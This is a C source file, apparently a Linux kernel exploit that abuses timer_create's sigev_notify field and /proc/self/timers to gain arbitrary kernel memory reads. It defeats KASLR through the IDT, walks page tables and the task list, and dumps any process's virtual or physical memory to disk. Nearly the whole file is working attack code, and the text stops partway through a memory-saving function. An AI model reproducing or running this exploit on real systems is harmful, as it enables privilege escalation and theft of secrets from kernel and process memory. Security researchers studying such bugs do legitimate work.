#define PAGE_OFFSET_BASE 0xffff880000000000ul
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#define LOG_INFO 1
#define LOG_DEBUG 2
#define log(level, format, args...) \
do { \
if (level == LOG_INFO) \
printf(format, ## args); \
else \
fprintf(stderr, format, ## args); \
} while(0)
#define info(format, args...) log(LOG_INFO, format, ## args)
#if (DEBUG >= 1)
#define debug1(format, args...) log(LOG_DEBUG, format, ## args)
#else
#define debug1(format, args...)
#endif
#if (DEBUG >= 2)
#define debug2(format, args...) log(LOG_DEBUG, format, ## args)
#else
#define debug2(format, args...)
#endif
#define min(x, y) ((x) < (y) ? (x) : (y))
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
static void print_chunk(int level, unsigned long src_addr, char *buffer,
int len, int chunk_size) {
int i;
assert(len <= chunk_size);
log(level, "%016lx: ", src_addr);
for (i = 0; i < len; i++)
log(level, "%02hx ", (unsigned char)buffer[i]);
for (i = len; i < chunk_size; i++)
log(level, " ");
log(level, " ");
for (i = 0; i < len; i++) {
if (isalnum(buffer[i]))
log(level, "%c", buffer[i]);
else
log(level, ".");
}
log(level, "\n");
}
static void print_bytes(int level, unsigned long src_addr, char *buffer,
int len) {
int chunk_size = 16;
assert(chunk_size % 2 == 0);
int chunk;
for (chunk = 0; chunk < len / chunk_size; chunk++)
print_chunk(level, src_addr + chunk * chunk_size,
&buffer[chunk * chunk_size], chunk_size, chunk_size);
int rem = len % chunk_size;
if (rem != 0)
print_chunk(level, src_addr + len - rem,
&buffer[len - rem], rem, chunk_size);
}
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#define MIN_KERNEL_BASE 0xffffffff81000000ul
#define MAX_KERNEL_BASE 0xffffffffff000000ul
#define MAX_KERNEL_IMAGE 0x8000000ul // 128 MB
#define MMAP_ADDR_SPAN (MAX_KERNEL_BASE - MIN_KERNEL_BASE + MAX_KERNEL_IMAGE)
#define MMAP_ADDR_START 0x200000000ul
#define MMAP_ADDR_END (MMAP_ADDR_START + MMAP_ADDR_SPAN)
#define OPTIMAL_PTR_OFFSET ((MMAP_ADDR_START - MIN_KERNEL_BASE) / 8)
// == 0x4fe00000
#define MAX_MAPPINGS 1024
#define MEMFD_SIZE (MMAP_ADDR_SPAN / MAX_MAPPINGS)
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
static struct proc_reader g_proc_reader;
static unsigned long g_leak_ptr_addr = 0;
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#define PROC_INITIAL_SIZE 1024
#define PROC_CHUNK_SIZE 1024
struct proc_reader {
char *buffer;
int buffer_size;
int read_size;
};
static void proc_init(struct proc_reader* pr) {
debug2("proc_init: %016lx\n", pr);
pr->buffer = malloc(PROC_INITIAL_SIZE);
if (pr->buffer == NULL) {
perror("[-] proc_init: malloc()");
exit(EXIT_FAILURE);
}
pr->buffer_size = PROC_INITIAL_SIZE;
pr->read_size = 0;
debug2("proc_init = void\n");
}
static void proc_ensure_size(struct proc_reader* pr, int size) {
if (pr->buffer_size >= size)
return;
while (pr->buffer_size < size)
pr->buffer_size <<= 1;
pr->buffer = realloc(pr->buffer, pr->buffer_size);
if (pr->buffer == NULL) {
perror("[-] proc_ensure_size: realloc()");
exit(EXIT_FAILURE);
}
}
static int proc_read(struct proc_reader* pr, const char *file) {
debug2("proc_read: file: %s, pr->buffer_size: %d\n",
file, pr->buffer_size);
int fd = open(file, O_RDONLY);
if (fd == -1) {
perror("[-] proc_read: open()");
exit(EXIT_FAILURE);
}
pr->read_size = 0;
while (true) {
proc_ensure_size(pr, pr->read_size + PROC_CHUNK_SIZE);
int bytes_read = read(fd, &pr->buffer[pr->read_size],
PROC_CHUNK_SIZE);
if (bytes_read == -1) {
perror("[-] read(proc)");
exit(EXIT_FAILURE);
}
pr->read_size += bytes_read;
if (bytes_read < PROC_CHUNK_SIZE)
break;
}
close(fd);
debug2("proc_read = %d\n", pr->read_size);
return pr->read_size;
}
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
typedef union k_sigval {
int sival_int;
void *sival_ptr;
} k_sigval_t;
#define __ARCH_SIGEV_PREAMBLE_SIZE (sizeof(int) * 2 + sizeof(k_sigval_t))
#define SIGEV_MAX_SIZE 64
#define SIGEV_PAD_SIZE ((SIGEV_MAX_SIZE - __ARCH_SIGEV_PREAMBLE_SIZE) \
/ sizeof(int))
typedef struct k_sigevent {
k_sigval_t sigev_value;
int sigev_signo;
int sigev_notify;
union {
int _pad[SIGEV_PAD_SIZE];
int _tid;
struct {
void (*_function)(sigval_t);
void *_attribute;
} _sigev_thread;
} _sigev_un;
} k_sigevent_t;
static void leak_setup() {
k_sigevent_t se;
memset(&se, 0, sizeof(se));
se.sigev_signo = SIGRTMIN;
se.sigev_notify = OPTIMAL_PTR_OFFSET;
timer_t timerid = 0;
int rv = syscall(SYS_timer_create, CLOCK_REALTIME,
(void *)&se, &timerid);
if (rv != 0) {
perror("[-] timer_create()");
exit(EXIT_FAILURE);
}
}
static void leak_parse(char *in, int in_len, char **start, char **end) {
const char *needle = "notify: ";
*start = memmem(in, in_len, needle, strlen(needle));
assert(*start != NULL);
*start += strlen(needle);
assert(in_len > 0);
assert(in[in_len - 1] == '\n');
*end = &in[in_len - 2];
while (*end > in && **end != '\n')
(*end)--;
assert(*end > in);
while (*end > in && **end != '/')
(*end)--;
assert(*end > in);
assert((*end)[1] = 'p' && (*end)[2] == 'i' && (*end)[3] == 'd');
assert(*end >= *start);
}
static void leak_once(char **start, char **end) {
int read_size = proc_read(&g_proc_reader, "/proc/self/timers");
leak_parse(g_proc_reader.buffer, read_size, start, end);
}
static int leak_once_and_copy(char *out, int out_len) {
assert(out_len > 0);
char *start, *end;
leak_once(&start, &end);
int size = min(end - start, out_len);
memcpy(out, start, size);
if (size == out_len)
return size;
out[size] = 0;
return size + 1;
}
static void leak_range(unsigned long addr, size_t length, char *out) {
size_t total_leaked = 0;
while (total_leaked < length) {
unsigned long addr_to_leak = addr + total_leaked;
*(unsigned long *)g_leak_ptr_addr = addr_to_leak;
debug2("leak_range: offset %ld, addr: %lx\n",
total_leaked, addr_to_leak);
int leaked = leak_once_and_copy(out + total_leaked,
length - total_leaked);
total_leaked += leaked;
}
}
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
static void mmap_fixed(unsigned long addr, size_t size) {
void *rv = mmap((void *)addr, size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (rv != (void *)addr) {
perror("[-] mmap()");
exit(EXIT_FAILURE);
}
}
static void mmap_fd_over(int fd, unsigned long fd_size, unsigned long start,
unsigned long end) {
int page_size = PAGE_SIZE;
assert(fd_size % page_size == 0);
assert(start % page_size == 0);
assert(end % page_size == 0);
assert((end - start) % fd_size == 0);
debug1("mmap_fd_over: [%lx, %lx)\n", start, end);
unsigned long addr;
for (addr = start; addr < end; addr += fd_size) {
void *rv = mmap((void *)addr, fd_size, PROT_READ,
MAP_FIXED | MAP_PRIVATE, fd, 0);
if (rv != (void *)addr) {
perror("[-] mmap()");
exit(EXIT_FAILURE);
}
}
debug1("mmap_fd_over = void\n");
}
static void remap_fd_over(int fd, unsigned long fd_size, unsigned long start,
unsigned long end) {
int rv = munmap((void *)start, end - start);
if (rv != 0) {
perror("[-] munmap()");
exit(EXIT_FAILURE);
}
mmap_fd_over(fd, fd_size, start, end);
}
#define MEMFD_CHUNK_SIZE 0x1000
static int create_filled_memfd(const char *name, unsigned long size,
unsigned long value) {
int i;
char buffer[MEMFD_CHUNK_SIZE];
assert(size % MEMFD_CHUNK_SIZE == 0);
int fd = syscall(SYS_memfd_create, name, 0);
if (fd < 0) {
perror("[-] memfd_create()");
exit(EXIT_FAILURE);
}
for (i = 0; i < sizeof(buffer) / sizeof(value); i++)
*(unsigned long *)&buffer[i * sizeof(value)] = value;
for (i = 0; i < size / sizeof(buffer); i++) {
int bytes_written = write(fd, &buffer[0], sizeof(buffer));
if (bytes_written != sizeof(buffer)) {
perror("[-] write(memfd)");
exit(EXIT_FAILURE);
}
}
return fd;
}
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
static const char *evil = "evil";
static const char *good = "good";
static bool bisect_probe() {
char *start, *end;
leak_once(&start, &end);
return *start == 'g';
}
static unsigned long bisect_via_memfd(unsigned long fd_size,
unsigned long start, unsigned long end) {
assert((end - start) % fd_size == 0);
int fd_evil = create_filled_memfd("evil", fd_size, (unsigned long)evil);
int fd_good = create_filled_memfd("good", fd_size, (unsigned long)good);
unsigned long left = 0;
unsigned long right = (end - start) / fd_size;
while (right - left > 1) {
unsigned long middle = left + (right - left) / 2;
remap_fd_over(fd_evil, fd_size, start + left * fd_size,
start + middle * fd_size);
remap_fd_over(fd_good, fd_size, start + middle * fd_size,
start + right * fd_size);
bool probe = bisect_probe();
if (probe)
left = middle;
else
right = middle;
}
int rv = munmap((void *)start, end - start);
if (rv != 0) {
perror("[-] munmap()");
exit(EXIT_FAILURE);
}
close(fd_evil);
close(fd_good);
return start + left * fd_size;
}
static unsigned long bisect_via_assign(unsigned long start, unsigned long end) {
int word_size = sizeof(unsigned long);
assert((end - start) % word_size == 0);
assert((end - start) % PAGE_SIZE == 0);
mmap_fixed(start, end - start);
unsigned long left = 0;
unsigned long right = (end - start) / word_size;
while (right - left > 1) {
unsigned long middle = left + (right - left) / 2;
unsigned long a;
for (a = left; a < middle; a++)
*(unsigned long *)(start + a * word_size) =
(unsigned long)evil;
for (a = middle; a < right; a++)
*(unsigned long *)(start + a * word_size) =
(unsigned long)good;
bool probe = bisect_probe();
if (probe)
left = middle;
else
right = middle;
}
int rv = munmap((void *)start, end - start);
if (rv != 0) {
perror("[-] munmap()");
exit(EXIT_FAILURE);
}
return start + left * word_size;
}
static unsigned long bisect_leak_ptr_addr() {
unsigned long addr = bisect_via_memfd(
MEMFD_SIZE, MMAP_ADDR_START, MMAP_ADDR_END);
debug1("%lx %lx\n", addr, addr + MEMFD_SIZE);
addr = bisect_via_memfd(PAGE_SIZE, addr, addr + MEMFD_SIZE);
debug1("%lx %lx\n", addr, addr + PAGE_SIZE);
addr = bisect_via_assign(addr, addr + PAGE_SIZE);
debug1("%lx\n", addr);
return addr;
}
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#define CPUINFO_SMEP 1
#define CPUINFO_SMAP 2
#define CPUINFO_KAISER 4
#define CPUINFO_PTI 8
static int cpuinfo_scan() {
int length = proc_read(&g_proc_reader, "/proc/cpuinfo");
char *buffer = &g_proc_reader.buffer[0];
int rv = 0;
char* found = memmem(buffer, length, "smep", 4);
if (found != NULL)
rv |= CPUINFO_SMEP;
found = memmem(buffer, length, "smap", 4);
if (found != NULL)
rv |= CPUINFO_SMAP;
found = memmem(buffer, length, "kaiser", 4);
if (found != NULL)
rv |= CPUINFO_KAISER;
found = memmem(buffer, length, " pti", 4);
if (found != NULL)
rv |= CPUINFO_PTI;
return rv;
}
static void cpuinfo_check() {
int rv = cpuinfo_scan();
if (rv & CPUINFO_SMAP) {
info("[-] SMAP detected, no bypass available, aborting\n");
exit(EXIT_FAILURE);
}
}
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
static void arbitrary_read_init() {
info("[.] setting up proc reader\n");
proc_init(&g_proc_reader);
info("[~] done\n");
info("[.] checking /proc/cpuinfo\n");
cpuinfo_check();
info("[~] looks good\n");
info("[.] setting up timer\n");
leak_setup();
info("[~] done\n");
info("[.] finding leak pointer address\n");
g_leak_ptr_addr = bisect_leak_ptr_addr();
info("[+] done: %016lx\n", g_leak_ptr_addr);
info("[.] mapping leak pointer page\n");
mmap_fixed(g_leak_ptr_addr & ~(PAGE_SIZE - 1), PAGE_SIZE);
info("[~] done\n");
}
static void read_range(unsigned long addr, size_t length, char *buffer) {
leak_range(addr, length, buffer);
}
static uint64_t read_8(unsigned long addr) {
uint64_t result;
read_range(addr, sizeof(result), (char *)&result);
return result;
}
static uint32_t read_4(unsigned long addr) {
uint32_t result;
read_range(addr, sizeof(result), (char *)&result);
return result;
}
static uint64_t read_field_8(unsigned long addr, int offset) {
return read_8(addr + offset);
}
static uint64_t read_field_4(unsigned long addr, int offset) {
return read_4(addr + offset);
}
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
struct idt_register {
uint16_t length;
uint64_t base;
} __attribute__((packed));
struct idt_gate {
uint16_t offset_1; // bits 0..15
uint32_t shit_1;
uint16_t offset_2; // bits 16..31
uint32_t offset_3; // bits 32..63
uint32_t shit_2;
} __attribute__((packed));
static uint64_t idt_gate_addr(struct idt_gate *gate) {
uint64_t addr = gate->offset_1 + ((uint64_t)gate->offset_2 << 16) +
((uint64_t)gate->offset_3 << 32);
return addr;
}
static void get_idt(struct idt_register *idtr) {
asm ( "sidt %0" : : "m"(*idtr) );
debug1("get_idt_base: base: %016lx, length: %d\n",
idtr->base, idtr->length);
}
static void print_idt(int entries) {
char buffer[4096];
struct idt_register idtr;
int i;
get_idt(&idtr);
assert(idtr.length <= sizeof(buffer));
read_range(idtr.base, idtr.length, &buffer[0]);
info("base: %016lx, length: %d\n", idtr.base,
(int)idtr.length);
entries = min(entries, idtr.length / sizeof(struct idt_gate));
for (i = 0; i < entries; i++) {
struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i;
uint64_t addr = idt_gate_addr(gate);
info("gate #%03d: %016lx\n", i, addr);
}
}
static uint64_t read_idt_gate(int i) {
char buffer[4096];
struct idt_register idtr;
get_idt(&idtr);
assert(idtr.length <= sizeof(buffer));
assert(i <= idtr.length / sizeof(struct idt_gate));
read_range(idtr.base, idtr.length, &buffer[0]);
struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i;
uint64_t addr = idt_gate_addr(gate);
return addr;
}
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#define PTRS_PER_PGD 512
#define PTRS_PER_PUD 512
#define PTRS_PER_PMD 512
#define PTRS_PER_PTE 512
#define PGD_SHIFT 39
#define PUD_SHIFT 30
#define PMD_SHIFT 21
#define pgd_index(addr) (((addr) >> PGD_SHIFT) & (PTRS_PER_PGD - 1))
#define pud_index(addr) (((addr) >> PUD_SHIFT) & (PTRS_PER_PUD - 1))
#define pmd_index(addr) (((addr) >> PMD_SHIFT) & (PTRS_PER_PMD - 1))
#define pte_index(addr) (((addr) >> PAGE_SHIFT) & (PTRS_PER_PTE - 1))
#define _PAGE_BIT_PRESENT 0
#define _PAGE_BIT_ACCESSED 5
#define _PAGE_BIT_DIRTY 6
#define _PAGE_BIT_PSE 7
#define _PAGE_BIT_GLOBAL 8
#define _PAGE_BIT_PROTNONE _PAGE_BIT_GLOBAL
#define _PAGE_PRESENT (1ul << _PAGE_BIT_PRESENT)
#define _PAGE_ACCESSED (1ul << _PAGE_BIT_ACCESSED)
#define _PAGE_DIRTY (1ul << _PAGE_BIT_DIRTY)
#define _PAGE_PSE (1ul << _PAGE_BIT_PSE)
#define _PAGE_PROTNONE (1ul << _PAGE_BIT_PROTNONE)
#define _PAGE_KNL_ERRATUM_MASK (_PAGE_DIRTY | _PAGE_ACCESSED)
#define pgd_none(value) ((value) == 0)
#define pud_none(value) (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0)
#define pmd_none(value) (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0)
#define pte_none(value) (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0)
#define __PHYSICAL_MASK_SHIFT 52
#define __PHYSICAL_MASK ((1ul << __PHYSICAL_MASK_SHIFT) - 1)
#define PHYSICAL_PAGE_MASK (PAGE_MASK & __PHYSICAL_MASK)
#define PTE_PFN_MASK (PHYSICAL_PAGE_MASK)
#define PTE_FLAGS_MASK (~PTE_PFN_MASK)
#define pgd_flags(value) (value & PTE_FLAGS_MASK)
#define pud_flags(value) (value & PTE_FLAGS_MASK)
#define pmd_flags(value) (value & PTE_FLAGS_MASK)
#define pte_flags(value) (value & PTE_FLAGS_MASK)
#define pgd_present(value) (pgd_flags(value) & _PAGE_PRESENT)
#define pud_present(value) (pud_flags(value) & _PAGE_PRESENT)
#define pmd_present(value) (pmd_flags(value) & (_PAGE_PRESENT | \
_PAGE_PROTNONE | _PAGE_PSE))
#define pte_present(value) (pte_flags(value) & (_PAGE_PRESENT | \
_PAGE_PROTNONE))
struct pte_entry {
unsigned long addr;
unsigned long entries[PTRS_PER_PTE];
};
struct pmd_entry {
unsigned long addr;
struct {
bool huge;
union {
struct pte_entry *pte;
unsigned long phys;
};
} entries[PTRS_PER_PMD];
};
struct pud_entry {
unsigned long addr;
struct pmd_entry *entries[PTRS_PER_PUD];
};
struct pgd_entry {
unsigned long addr;
struct pud_entry *entries[PTRS_PER_PGD];
};
struct ptsc {
unsigned long physmap;
struct pgd_entry entry;
};
static struct pte_entry *ptsc_alloc_pte_entry(unsigned long addr) {
struct pte_entry *entry = malloc(sizeof(*entry));
if (!entry) {
perror("[-] malloc()");
exit(EXIT_FAILURE);
}
entry->addr = addr;
memset(&entry->entries[0], 0, sizeof(entry->entries));
return entry;
}
static struct pmd_entry *ptsc_alloc_pmd_entry(unsigned long addr) {
struct pmd_entry *entry = malloc(sizeof(*entry));
if (!entry) {
perror("[-] malloc()");
exit(EXIT_FAILURE);
}
entry->addr = addr;
memset(&entry->entries[0], 0, sizeof(entry->entries));
return entry;
}
static struct pud_entry *ptsc_alloc_pud_entry(unsigned long addr) {
struct pud_entry *entry = malloc(sizeof(*entry));
if (!entry) {
perror("[-] malloc()");
exit(EXIT_FAILURE);
}
entry->addr = addr;
memset(&entry->entries[0], 0, sizeof(entry->entries));
return entry;
}
static void ptsc_init(struct ptsc* ptsc, unsigned long physmap,
unsigned long pgd) {
ptsc->physmap = physmap;
ptsc->entry.addr = pgd;
memset(&ptsc->entry.entries[0], 0, sizeof(ptsc->entry.entries));
}
static unsigned long ptsc_page_virt_to_phys(struct ptsc* ptsc,
unsigned long addr) {
struct pgd_entry *pgd_e;
struct pud_entry *pud_e;
struct pmd_entry *pmd_e;
struct pte_entry *pte_e;
unsigned long phys_a;
int index;
debug1("looking up phys addr for %016lx:\n", addr);
pgd_e = &ptsc->entry;
index = pgd_index(addr);
debug1(" pgd: %016lx, index: %d\n", pgd_e->addr, index);
if (!pgd_e->entries[index]) {
unsigned long pgd_v = read_8(
pgd_e->addr + index * sizeof(unsigned long));
debug1(" -> %016lx\n", pgd_v);
if (pgd_none(pgd_v)) {
debug1(" not found, pgd is none\n");
return 0;
}
if (!pgd_present(pgd_v)) {
debug1(" not found, pgd is not present\n");
return 0;
}
unsigned long pud_a =
ptsc->physmap + (pgd_v & PHYSICAL_PAGE_MASK);
pud_e = ptsc_alloc_pud_entry(pud_a);
pgd_e->entries[index] = pud_e;
}
pud_e = pgd_e->entries[index];
index = pud_index(addr);
debug1(" pud: %016lx, index: %d\n", pud_e->addr, index);
if (!pud_e->entries[index]) {
unsigned long pud_v = read_8(
pud_e->addr + index * sizeof(unsigned long));
debug1(" -> %016lx\n", pud_v);
if (pud_none(pud_v)) {
debug1(" not found, pud is none\n");
return 0;
}
if (!pud_present(pud_v)) {
debug1(" not found, pud is not present\n");
return 0;
}
unsigned long pmd_a =
ptsc->physmap + (pud_v & PHYSICAL_PAGE_MASK);
pmd_e = ptsc_alloc_pmd_entry(pmd_a);
pud_e->entries[index] = pmd_e;
}
pmd_e = pud_e->entries[index];
index = pmd_index(addr);
debug1(" pmd: %016lx, index: %d\n", pmd_e->addr, index);
if (!pmd_e->entries[index].pte) {
unsigned long pmd_v = read_8(
pmd_e->addr + index * sizeof(unsigned long));
debug1(" -> %016lx\n", pmd_v);
if (pmd_none(pmd_v)) {
debug1(" not found, pmd is none\n");
return 0;
}
if (!pmd_present(pmd_v)) {
debug1(" not found, pmd is not present\n");
return 0;
}
if (pmd_flags(pmd_v) & _PAGE_PSE) {
phys_a = ptsc->physmap + (pmd_v & PHYSICAL_PAGE_MASK) +
(addr & ~HUGE_PAGE_MASK);
pmd_e->entries[index].phys = phys_a;
pmd_e->entries[index].huge = true;
} else {
unsigned long pte_a =
ptsc->physmap + (pmd_v & PHYSICAL_PAGE_MASK);
pte_e = ptsc_alloc_pte_entry(pte_a);
pmd_e->entries[index].pte = pte_e;
pmd_e->entries[index].huge = false;
}
}
if (pmd_e->entries[index].huge) {
debug1(" phy: %016lx (huge)\n", phys_a);
return pmd_e->entries[index].phys;
}
pte_e = pmd_e->entries[index].pte;
index = pte_index(addr);
debug1(" pte: %016lx, index: %d\n", pte_e->addr, index);
if (!pte_e->entries[index]) {
unsigned long pte_v = read_8(
pte_e->addr + index * sizeof(unsigned long));
debug1(" -> %016lx\n", pte_v);
if (pte_none(pte_v)) {
debug1(" not found, pte is none\n");
return 0;
}
if (!pte_present(pte_v)) {
debug1(" not found, pte is not present\n");
return 0;
}
phys_a = ptsc->physmap + (pte_v & PHYSICAL_PAGE_MASK) +
(addr & ~PAGE_MASK);
pte_e->entries[index] = phys_a;
}
phys_a = pte_e->entries[index];
return phys_a;
}
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
static unsigned long find_task_by_pid(unsigned long init_task, unsigned pid) {
unsigned long cur_task = init_task;
while (true) {
unsigned cur_pid =
read_field_4(cur_task, O_TASK_STRUCT_PID);
if (cur_pid == pid)
return cur_task;
unsigned long task_next_ptr =
read_field_8(cur_task, O_TASK_STRUCT_TASKS);
cur_task = task_next_ptr - O_TASK_STRUCT_TASKS;
if (cur_task == init_task)
return 0;
}
}
#define MAX_MMAPS_PER_TASK 512
struct mmap_entry {
unsigned long start;
unsigned long end;
unsigned flags;
};
typedef void (*mmap_callback)(struct mmap_entry *entry, void *private);
static void for_each_mmap_from(unsigned long mmap, mmap_callback callback,
void *private) {
struct mmap_entry entries[MAX_MMAPS_PER_TASK];
int i, count;
count = 0;
while (mmap != 0) {
assert(count < MAX_MMAPS_PER_TASK);
unsigned long vm_start =
read_field_8(mmap, O_VM_AREA_STRUCT_VM_START);
unsigned long vm_end =
read_field_8(mmap, O_VM_AREA_STRUCT_VM_END);
if (vm_start >= TASK_SIZE || vm_end >= TASK_SIZE) {
info("[-] bad mmap (did the task die?)\n");
exit(EXIT_FAILURE);
}
unsigned vm_flags =
read_field_4(mmap, O_VM_AREA_STRUCT_VM_FLAGS);
entries[count].start = vm_start;
entries[count].end = vm_end;
entries[count].flags = vm_flags;
count++;
mmap = read_field_8(mmap, O_VM_AREA_STRUCT_VM_NEXT);
}
for (i = 0; i < count; i++)
callback(&entries[i], private);
}
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
static unsigned long g_kernel_text = 0;
static unsigned long g_physmap = 0;
static struct ptsc g_ptsc;
static void physmap_init() {
unsigned long divide_error = read_idt_gate(0);
info("[.] divide_error: %016lx\n", divide_error);
g_kernel_text = divide_error - O_DIVIDE_ERROR;
info("[.] kernel text: %016lx\n", g_kernel_text);
if (O_PAGE_OFFSET_BASE) {
unsigned long page_offset_base =
g_kernel_text + O_PAGE_OFFSET_BASE;
info("[.] page_offset_base: %016lx\n", page_offset_base);
g_physmap = read_8(page_offset_base);
info("[.] physmap: %016lx\n", g_physmap);
if (g_physmap < PAGE_OFFSET_BASE) {
info("[-] physmap sanity check failed "
"(wrong offset?)\n");
exit(EXIT_FAILURE);
}
} else {
g_physmap = PAGE_OFFSET_BASE;
info("[.] physmap: %016lx\n", g_physmap);
}
}
static unsigned long g_mmap = 0;
static void pts_init(int pid) {
unsigned long mm;
if (pid != 0) {
unsigned long init_task = g_kernel_text + O_INIT_TASK;
info("[.] init_task: %016lx\n", init_task);
unsigned long task = find_task_by_pid(init_task, pid);
info("[.] task: %016lx\n", task);
if (task == 0) {
info("[-] task %d not found\n", pid);
exit(EXIT_FAILURE);
} else if (task < PAGE_OFFSET_BASE) {
info("[-] task sanity check failed (wrong offset?)\n");
exit(EXIT_FAILURE);
}
mm = read_field_8(task, O_TASK_STRUCT_MM);
info("[.] task->mm: %016lx\n", mm);
if (mm == 0) {
info("[-] mm not found (kernel task?)\n");
exit(EXIT_FAILURE);
} else if (mm < PAGE_OFFSET_BASE) {
info("[-] mm sanity check failed (wrong offset?)\n");
exit(EXIT_FAILURE);
}
g_mmap = read_field_8(mm, O_MM_STRUCT_MMAP);
info("[.] task->mm->mmap: %016lx\n", g_mmap);
if (g_mmap < PAGE_OFFSET_BASE) {
info("[-] mmap sanity check failed (wrong offset?)\n");
exit(EXIT_FAILURE);
}
} else {
mm = g_kernel_text + O_INIT_MM;
}
unsigned long pgd = read_field_8(mm, O_MM_STRUCT_PGD);
info("[.] task->mm->pgd: %016lx\n", pgd);
if (pgd < PAGE_OFFSET_BASE) {
info("[-] pgd sanity check failed (wrong offset?)\n");
exit(EXIT_FAILURE);
}
ptsc_init(&g_ptsc, g_physmap, pgd);
}
static unsigned long page_virt_to_phys(unsigned long addr) {
unsigned long paddr = ptsc_page_virt_to_phys(&g_ptsc, addr);
assert(paddr != 0);
return paddr - g_physmap;
}
static bool page_check_virt(unsigned long addr) {
unsigned long paddr = ptsc_page_virt_to_phys(&g_ptsc, addr);
return paddr != 0;
}
static bool page_check_phys(unsigned long offset) {
return page_check_virt(g_physmap + offset);
}
static void phys_read_range(unsigned long offset, size_t length, char *buffer) {
read_range(g_physmap + offset, length, buffer);
}
static void for_each_mmap(mmap_callback callback, void *private) {
for_each_mmap_from(g_mmap, callback, private);
}
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
static int create_file(const char *path) {
int fd = open(path, O_RDWR | O_CREAT, 0644);
if (fd < 0) {
perror("[-] open()");
exit(EXIT_FAILURE);
}
return fd;
}
static int open_dir(const char *path) {
int fd = open(path, O_DIRECTORY | O_PATH);
if (fd < 0) {
perror("[-] open()");
exit(EXIT_FAILURE);
}
return fd;
}
static int create_file_in_dir(int dirfd, const char *name) {
int fd = openat(dirfd, name, O_RDWR | O_CREAT, 0644);
if (fd < 0) {
perror("[-] openat()");
exit(EXIT_FAILURE);
}
return fd;
}
static void write_file(int fd, char *buffer, size_t length) {
int rv = write(fd, buffer, length);
if (rv != length) {
perror("[-] write()");
exit(EXIT_FAILURE);
}
}
static void write_bytes(int fd, unsigned long src_addr,
char *buffer, size_t length) {
if (fd < 0)
print_bytes(LOG_INFO, src_addr, buffer, length);
else
write_file(fd, buffer, length);
}
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
void read_virt_memory(unsigned long addr, size_t length, int fd) {
char buffer[PAGE_SIZE];
char empty[PAGE_SIZE];
debug1("read_virt_memory: addr = %016lx, length = %016lx\n",
addr, length);
memset(&empty[0], 0, sizeof(empty));
size_t total_read = 0;
while (total_read < length) {
unsigned long current = addr + total_read;
size_t to_read = PAGE_SIZE;
if (current % PAGE_SIZE != 0)
to_read = PAGE_SIZE - current % PAGE_SIZE;
to_read = min(to_read, length - total_read);
if (page_check_virt(addr + total_read)) {
read_range(addr + total_read, to_read, &buffer[0]);
write_bytes(fd, addr + total_read, &buffer[0], to_read);
} else {
write_bytes(fd, addr + total_read, &empty[0], to_read);
}
total_read += to_read;
}
}
void read_phys_memory(unsigned long src_addr, unsigned long offset,
size_t length, int fd) {
char buffer[PAGE_SIZE];
char empty[PAGE_SIZE];
debug1("read_phys_memory: offset = %016lx, length = %016lx\n",
offset, length);
memset(&empty[0], 0, sizeof(empty));
size_t total_read = 0;
while (total_read < length) {
unsigned long current = offset + total_read;
size_t to_read = PAGE_SIZE;
if (current % PAGE_SIZE != 0)
to_read = PAGE_SIZE - current % PAGE_SIZE;
to_read = min(to_read, length - total_read);
if (page_check_phys(offset + total_read)) {
phys_read_range(offset + total_read, to_read,
&buffer[0]);
write_bytes(fd, src_addr + offset + total_read,
&buffer[0], to_read);
} else {
write_bytes(fd, src_addr + offset + total_read,
&empty[0], to_read);
}
total_read += to_read;
}
}
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#define VM_READ 0x00000001
#define VM_WRITE 0x00000002
#define VM_EXEC 0x00000004
static void print_mmap(unsigned long start, unsigned long end, unsigned flags) {
info("[%016lx, %016lx) %s%s%s\n",
start, end,
(flags & VM_READ) ? "r" : "-",
(flags & VM_WRITE) ? "w" : "-",
(flags & VM_EXEC) ? "x" : "-");
}
static void name_mmap(unsigned long start, unsigned long end, unsigned flags,
char *buffer, size_t length) {
snprintf(buffer, length, "%016lx_%016lx_%s%s%s",
start, end,
(flags & VM_READ) ? "r" : "-",
(flags & VM_WRITE) ? "w" : "-",
(flags & VM_EXEC) ? "x" : "-");
}
static void save_mmap(struct mmap_entry *entry, void *private) {
int dirfd = (int)(unsigned long)private;
unsigned long length;
char name[128];
char empty[PAGE_SIZE];
